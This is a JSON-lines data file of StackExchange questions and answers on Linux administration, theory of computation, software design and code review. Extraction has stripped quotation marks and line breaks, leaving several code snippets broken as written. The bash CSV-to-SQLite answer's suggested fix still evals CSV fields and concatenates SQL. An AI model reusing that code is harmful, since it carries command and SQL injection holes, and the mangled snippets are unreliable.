{  "id": "_unix.81858"  , "question": "I have a 16 GB USB flash drive that I would like to install CentOS 6 on so that I can boot into it on other computers. The reason for this is because I am going to be upgrading to VPS hosting and I would like to recreate the environment so that I can have a production website and simply sync it to live site. However, for various reasons, I don't want to be tied to one computer.I have tried using LinuxLive USB Creator, which worked absolutely perfectly, apart from even though I set the persistent file to the maximum when I installed packages they weren't there after a reboot.I did install CentOS on an old laptop, if that will allow me to install CentOS on the flash drive somehow? Alternatively, would it install on an external hard drive? Do computers boot from external harddrives? "  , "title": "Run CentOS 6 from a USB flash drive"  , "tags": "centos;usb;flash memory"  , "accepted_answer": "Passing expert on the installer command line will tell it to enable installing to devices other than internal drives."  } 
{  "id": "_cs.35944"  , "question": "I'm reading about a Turing Machine $M$ and it says the problem of deciding whether M  accepts a string is $\\Sigma^0_2$-hard and $\\Pi^0_2$-hard.I haven't seen this kind of notation before and haven't found a good answer from searching. Is this a more specific form of saying NP-hard? "  , "title": "What does $\\Sigma^0_2$-hard and $\\Pi^0_2$-hard for a TM's Acceptance Problem mean?"  , "tags": "turing machines;np complete;np hard"  , "accepted_answer": "No, it's unrelated to NP-hardness.  $\\Sigma_n^0$ and $\\Pi_n^0$ are the levels of the arithmetical hierarchy.  $\\Sigma_2^0$ is the class of problems that can be decide by Turing machines that have an oracle for the halting problem and $\\Pi_2^0$ is the class of problems whose complement is in $\\Sigma_2^0$.There is the corresponding notion of the polynomial hierarchy, in which $\\Sigma_1^\\mathrm{P}$ is NP and $\\Pi_1^\\mathrm{P}$ is co-NP."  } 
{  "id": "_cs.18757"  , "question": "There seems to be a classification of processes in IT. For example, business process refers to the collection of tasks done by organization members / software systems to achieve a goal.If a process is completely automated and carried out by software (no people involved) what is the process called? Say we have a Web service A and service B online and we have a process that automatically uses both in achieving a goal.I googled for Software process but the results are not what I am looking for (e.g waterfall)My apologies if this is not the correct forum to ask this question.Thanks in advance"  , "title": "Process Types and names"  , "tags": "software engineering"  , "accepted_answer": "Business process can also be applied.  Or you could call it automated process or automated business process or software processing or service or any of a number of other things.In other words: these terms do not have a precise mathematical/technical definition.  So, define your terms, and use them consistently.  This is not a technical question (and this site is better-suited for technical questions, not terminology questions)."  } 
{  "id": "_unix.295607"  , "question": "I've noticed that some graphical file manages such as Thunar allow you to remove any directory as long as you are the owner of this directory -- even if this directory contains a sub directory which you do not have write access to. On the other hand, rm -rf won't allow you to delete such a directory (Permission denied).Example:dirOwnedByUserdirOwnedByRoot$ rm -rf dirOwnedByUser rm: cannot remove 'dirOwnedByUser/dirOwnedByRoot: Permission deniedCould some explain this to me?Is there a way to delete such a directory in Shell?"  , "title": "Removing directories: Shell vs. File Manager"  , "tags": "shell;rm;file manager;thunar"  } 
{  "id": "_cs.33580"  , "question": "Let $k > 0$ be an integer.Define $A_n$ as follows:$$ A_n = \\begin{cases} n & \\text{if } n < k, \\\\ \\sum_{i=0}^{k-1} i & \\text{if } n = k \\\\ \\sum_{i=1}^k A_{n-i} & \\text{if } n > k. \\end{cases} $$This looks much like Fibonacci, except it's linear up until the k-th term (so the G formula does not work). I am 99% sure there is a closed formula for this one, but can't seem to figure it out at the moment.Any pointers will be appreciated!"  , "title": "Is there a closed-form formula for this recursive sequence?"  , "tags": "recurrence relation"  } 
{  "id": "_webapps.25041"  , "question": "When viewing a map, how can I remove the pink pointers? This is just for viewing the map in my browser, and not having them removed from Google Maps."  , "title": "When viewing a map, how can I remove the pink pointers?"  , "tags": "google maps"  , "accepted_answer": "Mouse over the controls on the upper right of the map - it says satellite and possibly traffic. Other controls will roll out once you mouse over this area. You'll see a control that allows you to remove the search result from the map by 'unchecking' next to the business name or search term."  } 
{  "id": "_softwareengineering.111380"  , "question": "When I previously asked what's responsible for slow software, a few answers I've received suggested it was a social and management problem:This isn't a technical problem, it's a marketing and management problem.... Utimately, the product mangers are responsible to write the specs for what the user is supposed to get. Lots of things can go wrong: The product manager fails to put button response in the spec ... The QA folks do a mediocre job of testing against the spec ... if the product management and QA staff are all asleep at the wheel, we programmers can't make up for that. Bob MurphyPeople work on good-size apps. As they work, performance problems creep in, just like bugs. The difference is - bugs are bad - they cry out find me, and fix me. Performance problems just sit there and get worse. Programmers often think Well, my code wouldn't have a performance problem. Rather, management needs to buy me a newer/bigger/faster machine. The fact is, if developers periodically just hunt for performance problems (which is actually very easy) they could simply clean them out. Mike DunlaveySo, if this is a social problem, what social mechanisms can an organization put into place to avoid shipping slow software to its customers? "  , "title": "How can dev teams prevent slow performance in consumer apps?"  , "tags": "performance;ui"  } 
{  "id": "_unix.346600"  , "question": "Working on Red Hat Enterprise Linux Server release 7.3 (Maipo)yum list installed | grep sambasamba-client-libs.x86_64             4.4.4-9.el7             @rhel-7-server-rpmssamba-common.noarch                  4.4.4-9.el7             @rhel-7-server-rpmssamba-common-libs.x86_64             4.4.4-9.el7             @rhel-7-server-rpmssamba-common-tools.x86_64            4.4.4-9.el7             @rhel-7-server-rpmssamba-libs.x86_64                    4.4.4-9.el7             @rhel-7-server-rpmsHowever:$ service smb status$ Redirecting to /bin/systemctl status  smb.service  Unit smb.service could not be found.$ which samba$ /usr/bin/which: no samba in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin)$ which smbd    $ /usr/bin/which: no smbd in (/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin)Is samba installed or not on my system?Does the system not beeing activated (through subscription manager) have anything to do with samba not loading (although the pacakages seem to be installed)?"  , "title": "Samba on Red Hat 7.3 installation"  , "tags": "rhel;yum;samba"  , "accepted_answer": "In my installation i have this : yum list installed | grep sambasamba.x86_64                      4.4.4-9.el7                          samba-client-libs.x86_64          4.4.4-9.el7                          samba-common.noarch               4.4.4-9.el7                          samba-common-libs.x86_64          4.4.4-9.el7                          samba-common-tools.x86_64         4.4.4-9.el7                          samba-libs.x86_64                 4.4.4-9.el7     I think you need to install samba.x86_64."  } 
{  "id": "_cstheory.14648"  , "question": "I don't exactly know if this is the place to ask it, but I'm looking for the original paper of the Moore Neighborhood algorithm. I need to make a reference to it (or whoever came up with it). I can't seem to find the origin, just other people using it. Does anyone have an idea what I need to cite for this ?"  , "title": "Initial paper of the Moore Neighborhood algorithm"  , "tags": "graph algorithms"  } 
{  "id": "_softwareengineering.312875"  , "question": "I'm designing a NoSQL database schema - MongoDB in particular - and I'm wondering if it's a good idea not to embed certain one-to-one relationships.For one example, I have an accounts collection, which stores all the account information. The account balance requires some calculation to compute, and I see two options:Have a cached_balance field on the accounts collection, which starts off as null. Whenever the balance is recomputed, the field for the relevant account is updated.Have an account_balances_cache collection with a one-to-one relationship with accounts. Whenever the balance is recomputed, the relevant field in this collection is updated.The benefit of the embedded document is that I get all the information in one join. A separate collection would require an application-level join which is not as wieldy. However, the reason I thought of having a separate collection is because I like the conceptual separation of it. There is one collection for all the important data that must not be lost, and there's another with data that could be recomputed at any time, where the entire collection could be dropped and nothing of ultimate value will have been lost. Or it could even be in another database which could be kept on a different server, etc. Is this sound reasoning or am I just making it unnecessarily difficult for myself?(Note that this is a simplified example. In actuality the things in these caches may be hard/computationally expensive to compute, which is why I'm putting them in the database as well instead of something like redis or memcached.)"  , "title": "Is it a good idea not to embed certain one-to-one relationships in a Mongo database?"  , "tags": "database design;language agnostic;mongodb"  } 
{  "id": "_codereview.162709"  , "question": "This class looks ugly as hell to me. I feel like there is a better way but can't really think for a good one. Too many instanceofs and else ifs. What OOP practices or design patterns would you suggest to change and improve the code?Any tips, advises and recommended resources are welcome!What does the code do: Basically, public method  accepts event object and every event object contains user/player object in some form. The reason we are getting user object from the event is to check whether that particular user will receive notification about the event. Which of course depends on user's notification settings which is inside user object.I've added ENUM class, maybe there is a way to modify it for a better code quality.@Servicepublic class NotificationSettingsCheckServiceImpl implements NotificationSettingsCheckService {@Overridepublic Boolean checkIfEventCanPass(ApplicationEvent event) {    if (SYSTEM_EVENTS.getListOfClasses().contains(event.getClass())) {        return true;    }    Boolean eventPasses = false;    LotteryUser user;    user = event instanceof NotificationApplicationEvent ? getUserBasedOnNotificationEvent(event) : getUserBasedOnEmailEvent(event);      if (CAMPAIGN_EVENTS.getListOfClasses().contains(event.getClass()) && user.getNotificationSettings().getCampaignEvents()) {        eventPasses = true;    } else if (DRAW_RESULT_EVENTS.getListOfClasses().contains(event.getClass()) && user.getNotificationSettings().getDrawResultEvents()) {        eventPasses = true;    } else if (TRANSACTION_EVENTS.getListOfClasses().contains(event.getClass()) && user.getNotificationSettings().getTransactionEvents()) {        eventPasses = true;    } else if (USER_WON_EVENTS.getListOfClasses().contains(event.getClass()) && user.getNotificationSettings().getTransactionEvents()) {        eventPasses = true;    }    return eventPasses;}private LotteryUser getUserBasedOnEmailEvent(EventObject event) {    LotteryUser user = null;    if (event instanceof UserThanksEvent) {        user = ((UserThanksEvent) event).getUser();    } else if (event instanceof UserOrderCanceledEvent) {        user = ((UserOrderCanceledEvent) event).getUser();    } else if (event instanceof DrawResultEvent) {        user = ((DrawResultEvent) event).getPlayer();    } else if (event instanceof UserWinCongratulationEvent) {        user = ((UserWinCongratulationEvent) event).getPlayer();    } else if (event instanceof UserAddedToCampaignEvent) {        user = ((UserAddedToCampaignEvent) event).getLotteryUser();    }    return user;}private LotteryUser getUserBasedOnNotificationEvent(EventObject event) {    LotteryUser user = null;    if (event instanceof UserReceivedBonusMoneyEvent) {        user = ((UserReceivedBonusMoneyEvent) event).getLotteryUser();    } else if (event instanceof UserReceivedBonusInNonDepositCampaignEvent) {        user = ((UserReceivedBonusInNonDepositCampaignEvent) event).getLotteryUser();    } else if (event instanceof UserReceivedBonusInDepositCampaignEvent) {        user = ((UserReceivedBonusInDepositCampaignEvent) event).getLotteryUser();    } else if (event instanceof UserTakesPartInDepositCampaignEvent) {        user = ((UserTakesPartInDepositCampaignEvent) event).getUser();    } else if (event instanceof UserTakesPartInNonDepositCampaignEvent) {        user = ((UserTakesPartInNonDepositCampaignEvent) event).getUser();    } else if (event instanceof DrawResultNotificationEvent) {        user = ((DrawResultNotificationEvent) event).getPlayer();    }    return user; }}Here is the ENUM class I'm using. public enum NotificationSettingsType {SYSTEM_EVENTS(Arrays.asList(OnRegistrationCompleteEvent.class,        ResetPasswordEvent.class,        ManagerRegistrationEvent.class,        DrawResultNotFoundEvent.class,        CurrencyUpdatedEvent.class,        WalletLockedEvent.class,        UserWonBigPrizeEvent.class)),CAMPAIGN_EVENTS(Arrays.asList(UserReceivedBonusInDepositCampaignEvent.class,        UserReceivedBonusInNonDepositCampaignEvent.class,        UserReceivedBonusMoneyEvent.class,        UserTakesPartInDepositCampaignEvent.class,        UserTakesPartInNonDepositCampaignEvent.class,        UserAddedToCampaignEvent.class)),DRAW_RESULT_EVENTS(Arrays.asList(DrawResultNotificationEvent.class,        DrawResultEvent.class)),TRANSACTION_EVENTS(Arrays.asList(UserThanksEvent.class,        UserOrderCanceledEvent.class)),USER_WON_EVENTS(Collections.singletonList(UserWinCongratulationEvent.class));private List<Class> listOfClasses;NotificationSettingsType(List<Class> listOfClasses) {    this.listOfClasses = listOfClasses;}public List<Class> getListOfClasses() {    return listOfClasses;   } }Here are the Event Object example and the class that it extends. I have several of these depending on the event they notify. This is just an example. Using Lombok plugin for Getter/Setter annotations if that confuses anyone. @Getter @Setter public class UserReceivedBonusMoneyEvent extends NotificationApplicationEvent {private final LotteryUser lotteryUser;private final BigDecimal bonusAmount;private final String currency;public UserReceivedBonusMoneyEvent( LotteryUser lotteryUser, BigDecimal bonusAmount, String currency) {    super(bonusAmount);    this.lotteryUser = lotteryUser;    this.bonusAmount = bonusAmount;    this.currency = currency;}@Overridepublic void accept(NotificationEventVisitor visitor) {    visitor.visit(this);  } }And here is the NotificationApplicationEvent, which extends Spring framework's Application Event.  public abstract class NotificationApplicationEvent extends ApplicationEvent {/** * Create a new ApplicationEvent. * * @param source the object on which the event initially occurred (never {@code null}) */public NotificationApplicationEvent(Object source) {    super(source);}public abstract void accept(NotificationEventVisitor visitor);}And This is NotificationEventListener class where checkIfEventCanPass method is placed.@Component@Slf4jpublic class NotificationEventListener implements ApplicationListener<NotificationApplicationEvent> {@Autowiredprivate NotificationEventVisitor notificationEventVisitor;@Autowiredprivate NotificationSettingsCheckService notificationSettingsCheckService;@Overridepublic void onApplicationEvent(NotificationApplicationEvent event) {    if (notificationSettingsCheckService.checkIfEventCanPass(event)) {        event.accept(notificationEventVisitor);    } }}"  , "title": "Notifying players about certain events"  , "tags": "java;performance;object oriented;event handling"  , "accepted_answer": "Boolean vs booleanPrefer to use the primitive type boolean instead of Boolean (The difference is, simply put, that Boolean can also be null).Varargs, defensive copyYou're passing a list of classes to your enum constructor. You could instead use varargs and pass Class... (or possibly Class<?>... although that might give you a warning, if so just ignore it). Then you can get rid of wrapping in Arrays.asList when calling the constructor and instead do it in the constructor itself.Also, don't return the list as it is, return a copy of it. Otherwise some calling code can do getListOfClasses().clear(); and screw up everything. In fact, all you really need is the contains method of the list, so skip the getListOfClasses method and make a contains method on your enum instead.Also, make listOfClasses final.Improved code:private final List<Class<?>> listOfClasses;NotificationSettingsType(Class<?>... classes) {    this.listOfClasses = Arrays.asList(classes);}public boolean contains(Class<?> clazz) {    return listOfClasses.contains(clazz);}Getting a user...Let the EventObject itself know how to get a user. Make a method somewhere, depending on your class heirarchy for your events, that returns a LotteryUser based on email or based on notification event. Then you can simply call this:private LotteryUser getUserBasedOnEmailEvent(EventObject event) {    return event.getUserByEmail();}private LotteryUser getUserBasedOnNotificationEvent(EventObject event) {    return event.getUserByNotification();}This removes the need for these methods completely. Depending on whether or not each EventObject really has multiple users, you could even do return event.getUser();"  } 
{  "id": "_codereview.45406"  , "question": "I want users to enter their code into my blog and keep original styling tags intact. So I had to develop a function that extracts user's code (between two tags) and convert special characters to HTML entities, then remove unwanted tags using purifyHTML.I want to know if it is safe to use it like that, and if there are any bad issues with this function.public function extracter($string, $start, $end){    function get_string_between($string, $start, $end){        $delimiters = array();        $ini = strpos($string,$start);        if ($ini == 0) return FALSE;        $delimiters['start'] = substr($string, 0, $ini);        $ini += strlen($start);        $last = strpos($string,$end,$ini);        $len =  $last - $ini;        $delimiters['inside'] = substr($string,$ini,$len);        $delimiters['end'] = substr($string, $last+strlen($end));        return $delimiters;    }    function reconstruct($strings = array(), $filter){        if( count($strings) == 0 || !$strings )            return false;        $count = count($strings);        $i = 0;        $str = '';        $code = array();        $uniq = uniqid();//i create a unique key to prevent confusion if users insert the same token i'm using        foreach ($strings as $key => $val) {            $i++;            foreach ($val as $k => $v) {                if( $k == 'start' )                    $str .= $v;                if( $k == 'inside' ){                    $str .= '['.$uniq.$i.']'; //creat a token in the string                    $code[$i] = htmlspecialchars($v);                }                if( $i == $count )                    if( $k == 'end' )                        $str .= $v;            }        }        $purify = $filter->purifyHtml($str);//i'm using purifyhtml to remove undesirable tags and leave TinyMce tags        for ($j=1; $j <= $i; $j++) {            $purify = str_replace('['.$uniq.$j.']', $code[$j], $purify); //replace the token with the escaped code        }        return $purify;    }    /* main */    $string =  .$string;    $components = array();    $exists = TRUE;    while ( $exists ) {        $st = get_string_between($string, $start, $end);//decompose if token found        if( !$st )            return $string;// return the original string if nothing found        $string = $st['end'];        $components[] = $st;        $exists = strpos($st['end'], $start) !== FALSE;//check if another code exists in the string    }    return reconstruct($components, $this->InputFilter);}"  , "title": "Extract code and convert special characters to HTML entities"  , "tags": "php;algorithm;strings;security"  } 
{  "id": "_unix.206349"  , "question": "Context:Remotely located machine with desktop ubuntu 12.04, 2 data drives, 1 OS drive, all specified in /etc/fstab.Issue:During boot one SATA data drive does not respond,and machine will not boot, waits indefinitely for manual input, S for Skip, R for repair, required by Ubuntu.Question:The goal is to have Ubuntu always boot as long as the OS drive is fine,not halting on failed data drives.  How to reach this goal ?"  , "title": "ignore failing, non-OS drives?"  , "tags": "ubuntu;boot"  , "accepted_answer": "Try to login as root then comment out all /etc/fstab entries pointing to partitions from the failed data drive. It might be necessary to remount the / partition in read-write mode (if it's mounted read-only and you can't save the file the 1st time, re-try after remounting).When you log out the system will automatically reboot and should come up normally (minus the failed drive mounts).To avoid future non-essential drive failures from preventing the system from booting you could take them out from fstab and mount them when needed, either: manuallyusing autofs (automatically mount them when attempts to accessthem are made and unmount them after some idle time): http://www.golinuxhub.com/2014/09/how-to-configure-autofs-in-linux-and.html (many other references out there).I find autofs very useful for cases like yours, but especially for NFS partitions."  } 
{  "id": "_webapps.98307"  , "question": "In Messenger it states I have 9 groups in common with someone.  Two are listed but the remaining 7 aren't.  I don't have access to the groups tab of this someone. Is there anyway to find out mutual groups? "  , "title": "Mutual Facebook Groups in common"  , "tags": "facebook;facebook groups"  } 
{  "id": "_webmaster.41108"  , "question": "As I'm building my business website, I'm using service/price tables at the bottom of each service page to demonstrate to customers/potential clients my other offerings. Of course, given that there are 7 or 8 service pages, each with (according to Google) the same service descriptions below the original content for that service, would this be counting as duplicate content? If so, what could I do about it?"  , "title": "Is the structure of my site's navigation (via price/service tables) considered 'Duplicate Content' by Google?"  , "tags": "seo;google"  } 
{  "id": "_softwareengineering.336291"  , "question": "In a web application, we create an email provider, which in turn creates an SMTP client: my question is whether we should create an SMTP client per request or create only one client and have it service all requests?Which is the best way to use an SMTP client? We are only sending (not receiving) email."  , "title": "Is SMTP client created in singleton scope or request scope?"  , "tags": "c#;networking;tcp"  } 
{  "id": "_unix.167222"  , "question": "On an ext3 (or ext2/4, pick your flavor) filesystem, how would one extract raw byte data that corresponds to a particular inode directly from the hard drive? Is it possible given, say, an inode number to determine its location on disk (perhaps as an offset from the start of the partition, or some other LBA offset) and then use some utility such as dd or a system call (something like lseek except operating on the filesystem?) to read that data without having to reference it as a file? I'm assuming this can be done, perhaps with some sort of driver-level utility .... "  , "title": "How to extract raw ext3 inode data from disk?"  , "tags": "ext4;ext3;ext2"  } 
{  "id": "_unix.100751"  , "question": "So here's a quick overview of my setup:I purchased a new Mac Mini server and I am hosting it with a Mac Mini co-lo facility. At first I had them keep OSX installed and I was using VirtualBox to place CentOS 6.4 (minimal) in a VM. I have 5 public IP's assigned to my Mac Mini (one physical NIC). All are on the same subnet and IP block thus have the same gateway. I ran into an issue with running the VM in VirtualBox where only one of the IP addresses setup in CentOS would work from the outside (public) BUT all of them would work if accessed from the host system (using the public IP). I figured OSX was doing something weird so I had the host install ESXi 5.5 on the Mac Mini (had contemplated doing that anyway).So now I have ESXi 5.5 installed and a single VM (CentOS 6.4 minimal) running on it. I proceeded to setup my IP addresses for CentOS and now I'm running into the same exact issue. I can ping (and obviously access) the main ESXi IP, and I can ping and access the IP for eth0 in CentOS, but any additional IP's aren't accessible.Here are pertinent files and their current setup:/etc/sysconfig/network:NETWORKING=yesHOSTNAME=my.hostname.comGATEWAY=208.x.x.1/etc/sysconfig/network-scripts/ifcfg-eth0:DEVICE=eth0HWADDR=00:0C:29:78:42:C4TYPE=EthernetUUID=1eeafa3a-87b1-4080-9de0-8e4dd9420ba3ONBOOT=yesNM_CONTROLLED=noBOOTPROTO=staticIPADDR=208.x.x.12NETMASK=255.255.255.0/etc/sysconfig/network-scripts/ifcfg-eth0:DEVICE=eth1HWADDR=00:0C:29:78:42:CETYPE=EthernetUUID=be671894-6044-4870-b1e1-2a9c1758c551ONBOOT=yesNM_CONTROLLED=noBOOTPROTO=staticIPADDR=208.x.x.13NETMASK=255.255.255.0ip addr:1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue state UNKNOWN     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00    inet 127.0.0.1/8 scope host lo    inet6 ::1/128 scope host        valid_lft forever preferred_lft forever2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000    link/ether 00:0c:29:78:42:c4 brd ff:ff:ff:ff:ff:ff    inet 208.x.x.12/24 brd 208.x.x.255 scope global eth0    inet6 fe80::20c:29ff:fe78:42c4/64 scope link        valid_lft forever preferred_lft forever3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000    link/ether 00:0c:29:78:42:ce brd ff:ff:ff:ff:ff:ff    inet 208.x.x.13/24 brd 208.x.x.255 scope global eth1    inet6 fe80::20c:29ff:fe78:42ce/64 scope link        valid_lft forever preferred_lft forever4: eth2: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000    link/ether 00:0c:29:78:42:d8 brd ff:ff:ff:ff:ff:ff    inet 208.x.x.14/24 brd 208.x.x.255 scope global eth2    inet6 fe80::20c:29ff:fe78:42d8/64 scope link        valid_lft forever preferred_lft forever5: eth3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000    link/ether 00:0c:29:78:42:e2 brd ff:ff:ff:ff:ff:ff    inet 208.x.x.15/24 brd 208.x.x.255 scope global eth3    inet6 fe80::20c:29ff:fe78:42e2/64 scope link        valid_lft forever preferred_lft foreverip route:208.x.x.0/24 dev eth0  proto kernel  scope link  src 208.x.x.12 208.x.x.0/24 dev eth1  proto kernel  scope link  src 208.x.x.13 208.x.x.0/24 dev eth2  proto kernel  scope link  src 208.x.x.14 208.x.x.0/24 dev eth3  proto kernel  scope link  src 208.x.x.15 169.254.0.0/16 dev eth0  scope link  metric 1002 169.254.0.0/16 dev eth1  scope link  metric 1003 169.254.0.0/16 dev eth2  scope link  metric 1004 169.254.0.0/16 dev eth3  scope link  metric 1005 default via 208.x.x.1 dev eth0 ifconfig -a:eth0      Link encap:Ethernet  HWaddr 00:0C:29:78:42:C4            inet addr:208.x.x.12  Bcast:208.x.x.255  Mask:255.255.255.0          inet6 addr: fe80::20c:29ff:fe78:42c4/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:3549 errors:0 dropped:0 overruns:0 frame:0          TX packets:1188 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:256360 (250.3 KiB)  TX bytes:120840 (118.0 KiB)eth1      Link encap:Ethernet  HWaddr 00:0C:29:78:42:CE            inet addr:208.x.x.13  Bcast:208.x.x.255  Mask:255.255.255.0          inet6 addr: fe80::20c:29ff:fe78:42ce/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:3160 errors:0 dropped:0 overruns:0 frame:0          TX packets:17 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:223374 (218.1 KiB)  TX bytes:1238 (1.2 KiB)eth2      Link encap:Ethernet  HWaddr 00:0C:29:78:42:D8            inet addr:208.x.x.14  Bcast:208.x.x.255  Mask:255.255.255.0          inet6 addr: fe80::20c:29ff:fe78:42d8/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:2266 errors:0 dropped:0 overruns:0 frame:0          TX packets:17 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:136142 (132.9 KiB)  TX bytes:1238 (1.2 KiB)eth3      Link encap:Ethernet  HWaddr 00:0C:29:78:42:E2            inet addr:208.x.x.15  Bcast:208.x.x.255  Mask:255.255.255.0          inet6 addr: fe80::20c:29ff:fe78:42e2/64 Scope:Link          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1          RX packets:2260 errors:0 dropped:0 overruns:0 frame:0          TX packets:17 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:1000           RX bytes:135782 (132.5 KiB)  TX bytes:1238 (1.2 KiB)lo        Link encap:Local Loopback            inet addr:127.0.0.1  Mask:255.0.0.0          inet6 addr: ::1/128 Scope:Host          UP LOOPBACK RUNNING  MTU:16436  Metric:1          RX packets:937 errors:0 dropped:0 overruns:0 frame:0          TX packets:937 errors:0 dropped:0 overruns:0 carrier:0          collisions:0 txqueuelen:0           RX bytes:123340 (120.4 KiB)  TX bytes:123340 (120.4 KiB)I'm only including the setup for eth0 and eth1 since eth2/3 are setup the same way. Again, I can only access one at a time. What am I missing?"  , "title": "Can only get one network to be accessible from outside"  , "tags": "networking;centos"  } 
{  "id": "_softwareengineering.243331"  , "question": "I my c# program I have to perform 5 steps(tasks) sequentially. basically these five should execute one after the other only the previous task performed is success. Currently I have done it in following style. But this is not very good code  style to follow.var isSuccess=false;isSuccess=a.method1();if(isSuccess)    isSuccess=a.method2();if(isSuccess)    isSuccess=a.method3();if(isSuccess)    isSuccess=a.method4();if(isSuccess)    isSuccess=a.method5();How can I re factor this code. What is the best way I can follow?"  , "title": "calling methods if previous call success"  , "tags": "c#"  } 
{  "id": "_codereview.102457"  , "question": "I just wrote an advanced CSV parser that translates CSV to SQL(SQLite Compatible) statements, which are then inserted into the database. It translates variable names in the CSV to values defined in the script.Example CSV0,1,An empty black tile,${ASSET_PATH}/BlackTile.png1,1,Grassy Tile,${ASSET_PATH}/Grass.png2,1,Lava Tile,${ASSET_PATH}/Lava.png3,1,Stone Brick Texture,${ASSET_PATH}/StoneBrick.pngThe code# Variables that are used in the CSV filesASSET_PATH=~/spacegame/assets# $1 - File to read. Named same as table to insert to plus .csv# $2 - function parseCsvAdv2Db {    local oldIFS=$IFS    local table=$(echo $1 | cut -d'.' -f 1)    local ins=INSERT INTO $table$2 VALUES    IFS='|'    while read line    do        # Preprocess the line        local data=$(eval echo $line | \\            awk 'BEGIN { FS=,; OFS=|; } { $1=$1; print $0; }')        local tmpdata=\\(        for field in $data        do            tmpdata+='$field'        done        tmpdata+=')'        ins+=$tmpdata    done < $1    ins=$(echo $ins | sed -e 's/)(/),(/g' -e s/''/','/g)    ins+=';'    sqlite3 $dbfile $ins    # Restore state    IFS=$oldIFS}parseCsvAdv2Db test.csv '(id,type,descr,path)'"  , "title": "Advanced CSV-to-SQLite converter"  , "tags": "parsing;bash;csv;sqlite;awk"  , "accepted_answer": "First of all, it should be noted that this script would be vulnerable to  arbitrary command execution as well as SQL injection.  It might be OK if you trust the CSV data not to contain malicious shell commands or characters with special significance in SQL.Several features make this code hard to follow:Mixing Bash and AWK.  It should either be pure Bash or mostly AWK (with a thin Bash wrapper to invoke AWK with the right parameters).  Calling AWK like this, especially with one invocation per line, is both confusing and bad for performance.What does the | character have to do with anything?  It seems to be a secret delimiter used for Bash-AWK communication.  That's bad: will a literal | in the data break the script?If you are going to override IFS temporarily, use the set-this-variable-for-one-command syntax.Why is there post-processing done using sed?$(echo $1 | cut -d'.' -f 1) can be better expressed in Bash using ${1%%.*}.A corner case is that the code generates a malformed INSERT statement if the CSV file is empty.Suggested solution# $1 - Name of CSV file to read. Table name is inferred from this by#      dropping the filename extension.# $2 - Optional (column, names) for the INSERT statement# $dbfile - SQLite filenameparseCsvAdv2Db() {    (        local rec_sep=INSERT INTO ${1%%.*}$2 VALUES        while IFS=',' read -r -a fields ; do            local field_sep=            echo $rec_sep (            for field in ${fields[@]} ; do                echo -n $field_sep'$(eval echo $field)'                field_sep=', '            done            echo -n )            rec_sep=,        done < $1        echo ';'    ) | sqlite3 $dbfile}Alternatively, define this function to do just one thing  generate the INSERT statement  and let the caller pipe the result: parseCsvAdv2Db test.csv | sqlite3 $dbfile.parseCsvAdv2Db() {    local rec_sep=INSERT INTO ${1%%.*}$2 VALUES    while IFS=',' read -r -a fields ; do        local field_sep=        echo $rec_sep (        for field in ${fields[@]} ; do            echo -n $field_sep'$(eval echo $field)'            field_sep=', '        done        echo -n )        rec_sep=,    done < $1    echo ';'}"  } 
{  "id": "_unix.272004"  , "question": "I need to write a script that figures out if a reboot has occurred after an RPM has been installed.  It is pretty easy to get the epoch time for when the RPM was installed: rpm -q --queryformat %{INSTALLTIME}\\n glibc | head -1, which produces output that looks like this: 1423807455.This cross checks with rpm -q --info.# date -d@`rpm -q --queryformat %{INSTALLTIME}\\n glibc | head -1`Fri Feb 13 01:04:15 EST 2015# sudo rpm -q --info glibc | grep Install Date | head -1Install Date: Fri 13 Feb 2015 01:04:15 AM EST      Build Host: x86-022.build.eng.bos.redhat.comBut I am getting stumped on trying to figure out how to get the epoch time from uptime or from cat /proc/uptime.  I do not understand the output from cat /proc/uptime which on my system looks like this: 19496864.99 18606757.86. Why is there two values? Which should I use and why do these numbers have a decimal in them?UPDATE: thanks techrafhere is the script that I will use ...#!/bin/shnow=`date +'%s'`rpm_install_date_epoch=`rpm -q --queryformat %{INSTALLTIME}\\n glibc | head -1`installed_seconds_ago=`expr $now - $rpm_install_date_epoch`uptime_epoch=`cat /proc/uptime | cut -f1 -d'.'`if [ $installed_seconds_ago -gt $uptime_epoch ]then        echo no need to rebootelse        echo need to rebootfiI'd appreciate any feedback on the script.  Thanks "  , "title": "How do I get the time when the system booted up in epoch format?"  , "tags": "linux;bash;shell script;uptime"  , "accepted_answer": "As manuals (and even Wikipedia) point out:/proc/uptime Shows how long the system has been on since it was last restarted.The first number is the total number of seconds the system has been up. The second number is how much of that time the machine has spent idle, in seconds. On multi core systems (and some linux versions) the second number is the sum of the idle time accumulated by each CPU.The decimal point separates seconds from fractions of a second. To calculate point in time system booted up using this metrics, you would have to subtract the number of of seconds the system has been up (first number) from current time in epoch format rounding up the fraction."  } 
